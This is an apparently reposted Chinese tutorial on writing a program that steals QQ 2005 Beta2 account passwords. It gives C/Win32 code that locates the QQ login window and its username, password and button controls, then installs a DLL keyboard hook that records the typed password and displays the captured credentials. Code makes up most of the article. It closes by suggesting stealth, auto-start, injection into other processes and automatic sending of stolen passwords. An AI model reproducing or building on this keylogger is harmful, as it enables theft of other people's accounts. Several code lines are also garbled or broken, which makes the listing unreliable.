编程实现盗2005 Beta2版QQ

2016-02-19 20:52 3 1 收藏

在这个颜值当道,屌丝闪边的时代,拼不过颜值拼内涵,只有知识丰富才能提升一个人的内在气质和修养,所谓人丑就要多学习,今天图老师给大家分享编程实现盗2005 Beta2版QQ,希望可以对大家能有小小的帮助。

【 tulaoshi.com - 编程语言 】

一、思路分析 (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程 
  (一) 定义宏 
  (二) 枚举进程找到QQ.exe 
  (三) 枚举所有窗口,找属于QQ.exe的窗口 
  (四) 获取用户名、密码、登陆按钮的句柄 
  (五) 创建钩子用的DLL 
  (六) 安装钩子
    一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:
   
  本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。  一、 思路分析
  一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。  (一) 数据包的角度
  从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。  (二) 钩子角度
  平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。1. 钩子简介
  钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:
  2. 程序流程
  Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:
   
     从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:    二、 实现过程
  有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的要害代码: !-- frame contents --!-- /frame contents --   (一) 定义宏
  //QQ登陆框正常情况下的风格
  #define QQLoginDlgNormalStyle  0x94CA00C4
  //QQ登陆框最小化时的风格
  #define QQLoginDlgMiniStyle  0xB4CA00C4
  //用户名下拉控件的ID
  #define QQLoginUserNameId  0x0000008A
  //密码控件文本框的ID
  #define QQLoginPassWordId  0x000000B4
  //登陆按扭的ID
  #define QQLoginButtonId         0x00003EA0  (二) 枚举进程找到QQ.exe
  
  
  //定义PROCESSENTRY32结构
     PROCESSENTRY32 pe;
     pe.dwSize = sizeof(pe); 
     HANDLE hProcessSnap;
     //所有进程快照
     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   if(hProcessSnap == INVALID_HANDLE_VALUE)
     {
        printf("进程快照失败!");
      return -1;
   }
   BOOL bRet;
     //遍历进程快照,轮流显示每个进程的信息
     bRet = Process32First(hProcessSnap,&pe);
     while(bRet)
   {
      //pe.szExeFile保存的值为进程对应的可执行文件名
      if(strcmp(pe.szExeFile,"QQ.exe") ==0) 
      { 
        //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
       BOOL bRet;
       //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
       bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
       if(bRet == FALSE)
       {
        printf("枚举所有窗口失败!");
        return -1;
       }
  }
  }  
  这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include tlhelp32.h。  (三) 枚举所有窗口,找属于QQ.exe的窗口
  BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == NULL)
   {
      return FALSE;
     }
   !-- frame contents --!-- /frame contents --    //QQ.exe的ID
   DWORD dwQQProcessID;
     dwQQProcessID = (DWORD)lParam;
     GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
     //假如创建QQ.exe的进程等于创建窗口的进程 
   if(dwQQProcessID == dwCreateWindowProcessID)
     {
      LONG lWindowStyle;
      //找到窗口的风格
      lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
      //假如条件成立,表示当前窗口为登陆窗口
    if(lWindowStyle == QQLoginDlgNormalStyle
       lWindowStyle == QQLoginDlgMiniStyle)
      { 
       //保存登陆窗口的句柄
       hLoginWindow = hwnd;  
      } 
   } 
   return TRUE;
  }
  该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。  (四) 获取用户名、密码、登陆按钮的句柄
  
  BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == FALSE)
     {
      return FALSE;
     }
     LONG  lID;
     //取得所有子窗口的ID
     lID = GetWindowLong(hwnd, GWL_ID);
   //该句表示找到用户名的句柄
     if(lID == QQLoginUserNameId)
     {  
      hUserName = hwnd; 
   }
     else if(lID == QQLoginPasswordId)
  
      {
      hUserPwd = hwnd;
     }
     else if(lID == QQLoginButtonId)
   {
      hLoginButton = hwnd; 
     }
     return TRUE;
  }  注重:以上回调函数用到了三个变量,别忘了在顶部定义哦!  //用户名、密码、登陆按钮的句柄
  HWND hUserName;
  HWND hUserPwd;
  HWND hLoginButton;  (五) 创建钩子用的DLL
  
  1. 申明函数
  新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
  #define QQHookLIB_API __declspec(dlleXPort)
  //声明要导出的函数
   !-- frame contents --!-- /frame contents --   //安装键盘钩子函数         
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
             HMODULE hDll,
             HWND hLoginWindow,
             HWND hUserName,
             HWND hUserPwd,
             HWND hLoginButton,
             DWORD dwCreateWindowProcessID);  2. 申明共享数据段以及导出函数
  选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
  EXPORTS   SetKeyBoardHook
  SECTIONS
     QQSpyShare Read Write Shared
  这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。  3. DLL主要代码
  接下来在QQHook.cpp文件中添加如下代码:  //共享数据段,注重要初始化
  #pragma data_seg("QQSpyShare")
  HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
  HHOOK g_hMessageHook = NULL;  //消息钩子句柄
  HHOOK g_hKeyBoardHook = NULL;  //键盘钩子句柄
  HWND hQQLoginUserName = NULL;
  HWND hQQLoginUserPwd = NULL;
  HWND hQQLoginButton = NULL;
  #pragma data_seg()  //安装键盘钩子函数          
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
             HMODULE hDll,
             HWND hLoginWindow,
             HWND hUserName,
             HWND hUserPwd,
             HWND hLoginButton,
             DWORD dwCreateWindowProcessID)
  {
     BOOL bResult;   if(bInstall)
     { 
      //保存用户名的句柄
  
       hQQLoginUserName = hUserName;
      //保存密码的句柄
    hQQLoginUserPwd = hUserPwd; 
      //保存登陆QQ按钮的句柄
      hQQLoginButton = hLoginButton;
      //保存登陆窗口的句柄
      g_hLoginWindowWnd = hLoginWindow;
      //登陆窗口的主线程,安装钩子的时候要用
      DWORD dwCreateLoginWindowThreadId;
      dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
      //在登陆窗口主线程上安装钩子
      g_hKeyBoardHook = SetWindowsHookEx(
       WH_KEYBOARD,     //安装键盘钩子
       (HOOKPROC)KeyBoardProc,   //键盘钩子回调函数
       hDll,        //QQHook.dll模块句柄
       dwCreateLoginWindowThreadId);   //登陆窗口的主线程    if(g_hKeyBoardHook == NULL)
      {
       printf("键盘钩子安装失败!");
       return FALSE;
      }
      else
      {
       printf("键盘钩子安装成功了!");
       return TRUE;
      }
    
   }
   else
   {
      //卸载钩子
      bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
      if(bResult == TRUE)
      {
       printf("键盘钩子卸载成功!");
       return TRUE;
      }
      else
    {
       printf("键盘钩子卸载失败!");
       return FALSE;
    }
   }
   return TRUE;
  }  以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:  //键盘钩子回调函数
  LRESULT CALLBACK KeyBoardProc(int ncode,
            WPARAM wParam,
            LPARAM lParam
   !-- frame contents --!-- /frame contents --           )
  {
   //创建一个缓冲区保存连起来的密码
     static char buf[250] = {0};
   //用于保存用户名框的内容
     char cUserName[10];
   ZeroMemory(cUserName, 10);
   //用于保存用户在密码框上的每一个按键
     char cUserPwd[30];
   //假如按的键是回车键
   if (wParam == VK_RETURN && lParam 0)
   {
      //得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得
      SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
   }   //假如不是按回车,并且是在密码框中输入
   if (lParam 0 && wParam != VK_RETURN &&
      //当前输入框为密码框
  
       hQQLoginUserPwd == GetFocus())
     {
      //记下密码框中输入的字符
      GetKeyNameText(lParam, cUserPwd, 30);    //以下代码把每一次按的键连起来形成一个完整的密码
      static int index = 0;
      if(index == 0)
      {
       if(strcmp(cUserPwd,"Num 1") == 0)
       {
        strcpy(buf,"1");
       }
       else if(strcmp(cUserPwd,"Num 2") == 0)
       {
        strcpy(buf,"2");   
       }
       else if(strcmp(cUserPwd,"Num 3") == 0)
       {
        strcpy(buf,"3");   
       }
       else if(strcmp(cUserPwd,"Num 4") == 0)
       {
        strcpy(buf,"4");   
       }
       else if(strcmp(cUserPwd,"Num 5") == 0)
       {
        strcpy(buf,"5");   
       }
       else if(strcmp(cUserPwd,"Num 6") == 0)
       {
        strcpy(buf,"6");   
       }
       else if(strcmp(cUserPwd,"Num 7") == 0)
       {
        strcpy(buf,"7");   
       }
       else if(strcmp(cUserPwd,"Num 8") == 0)
       {
        strcpy(buf,"8");   
       }
       else if(strcmp(cUserPwd,"Num 9") == 0)
       {
        strcpy(buf,"9");   
       }
       else if(strcmp(cUserPwd,"Num 0") == 0)
       {
        strcpy(buf,"0");   
       }
       else
       {
        strcpy(buf,cUserPwd);
       }
      }
      else
      {
       if(strcmp(cUserPwd,"Num 1") == 0)
       {
        strcat(buf,"1");
       }
       else if(strcmp(cUserPwd,"Num 2") == 0)
       {
        strcat(buf,"2");   
       }
       else if(strcmp(cUserPwd,"Num 3") == 0)
       {
        strcat(buf,"3");   
       }
       else if(strcmp(cUserPwd,"Num 4") == 0)
       {
        strcat(buf,"4");   
       }
       else if(strcmp(cUserPwd,"Num 5") == 0)
       {
        strcat(buf,"5");   
  
        }
       else if(strcmp(cUserPwd,"Num 6") == 0)
       {
        strcat(buf,"6");   
       }
       else if(strcmp(cUserPwd,"Num 7") == 0)
       {
        strcat(buf,"7");   
       }
       else if(strcmp(cUserPwd,"Num 8") == 0)
       {
        strcat(buf,"8");   
       }
       else if(strcmp(cUserPwd,"Num 9") == 0)
       {
        strcat(buf,"9");   
       }
       else if(strcmp(cUserPwd,"Num 0") == 0)
       {
        strcat(buf,"0");   
       }
       else
       {
        strcat(buf,cUserPwd);
       }
      }
      ++index;
   }   //假如按的是回车,将上面得到的用户名和密码连在一起显示
     if (wParam == VK_RETURN && lParam 0)
     {
    char cAccount;
      strcpy(&cAccount,"用户名:");
      strcat(&cAccount,cUserName);
    strcat(&cAccount,"密  码:");
      strcat(&cAccount,buf);
      strcat(&cAccount,"By:∮明天去要饭");
      //cAccount中保存了用户名和密码,想怎么处理就怎么处理
      MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);
      return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
   }
   return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
  }  这里需要注重以下几个问题:
  1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值假如想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。  2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。  3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。  4. 从这个回调函数可以知道,假如用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。  (六) 申明导出函数  (七) 安装钩子
  上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
       //用户名、密码、登陆按钮的句柄都不为空时安装钩子
   !-- frame contents --!-- /frame contents --      if(hUserName != NULL &&
        hUserPwd != NULL &&
        hLoginButton != NULL)
       {
        //得到DLL模块的句柄
        hDll = GetModuleHandle("QQHook.dll");
        if(hDll == NULL)
        {
  
          return FALSE;
        }
        //安装键盘钩子
        bKeyBoardHook = SetKeyBoardHook(
         TRUE,
         hDll,
         hLoginWindow,
         hUserName,
         hUserPwd,
         hLoginButton,
         dwCreateWindowProcessID);    
        if(bKeyBoardHook == FALSE)
        {
         printf("调用键盘钩子失败!");
         return FALSE;
        }
       }  以上就是盗QQ程序的要害代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
  1. 改进记录密码的代码。
  2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
  3. 设置成自动启动。
  4. 注入到别的进程中。
  5. 运行的时候没有界面,记录下来后自动发送密码。  由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,非凡要感谢兰陵笑笑生给我提供思路。

来源:http://www.tulaoshi.com/n/20160219/1624721.html

延伸阅读
标签: 聊天软件
  据悉,万众瞩目的腾讯QQ2005Beta1即将于三月底强势出炉,火热发布!之前我们已从网上看到了有关QQ2005的有关消息,独具匠心的界面设计,人性化的创新体验,让我们可以领略到QQ2005“网络新生活,体验新感受”的全新设计理念。 作为2005年的第一个重要版本,QQ2005Beta1将与十大网站联合发布:太平洋电脑网、新浪下载、电脑之家...
标签: 电脑入门
6月20日消息 端午节前夕,Q+ 送大礼啦QQ2012 beta2(Q+)精彩发布,希望你粽意!新增实时天气和日历,让你的桌面更贴近生活;多款格子皮肤随意选择,让桌面更多与众不同;新增邮箱绑定功能,新邮件实时推送;新版应用市场,网罗各种趣味、实用的应用还等什么,现在就来下载全新Q+吧! 版本新功能: 1.新增格子个性皮肤,让你的格子与众不同; ...
ios8 beta2怎么样?   苹果对于ios8beta2更新仅简单Tulaoshi.Com描述为此iOS8 Beta版包含错误修复和功能改进。但是细心的网友发现来电归属地(当前仅针对陌生人)功能已经杀到! 在苹果iOS7去年为中国用户提供九宫格输入法之后,来电归属地便成为最受中国用户期待的功能了。现在,苹果在iOS8中已悄然提供来电归属地功能,再加上...
微信5.0安卓Beta2内测   微信5.0的到来,成为了大众的瞩目的焦点。继前晚腾讯想用户推送的第一版微信5.0内测版之后,今日微信又推出了Android微信5.0内测版Beta2。不过遗憾的是腾讯并没有公布任何更新说明,在实际体验之后发现其功能方面相对前一个版本没有太大变化,应该是以修复Bug为主的版本。 腾讯微信5.0 对于心急...
ios8 beta2什么时候出?   ios8beta2什么时候出: 从下面的历史数据中,我们可以尝试推测下 • 2014年6月3日:iOS8 Beta1测试版发布下载 • 2014年6月17日前后:iOS8 Beta2测试版发布下载;不负众望ios8beta2Tulaoshi.Com于6月18日凌晨发布下载 ios8可以设置来点归属地吗?   ios8可以设置来点归...

经验教程

140

收藏

40
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部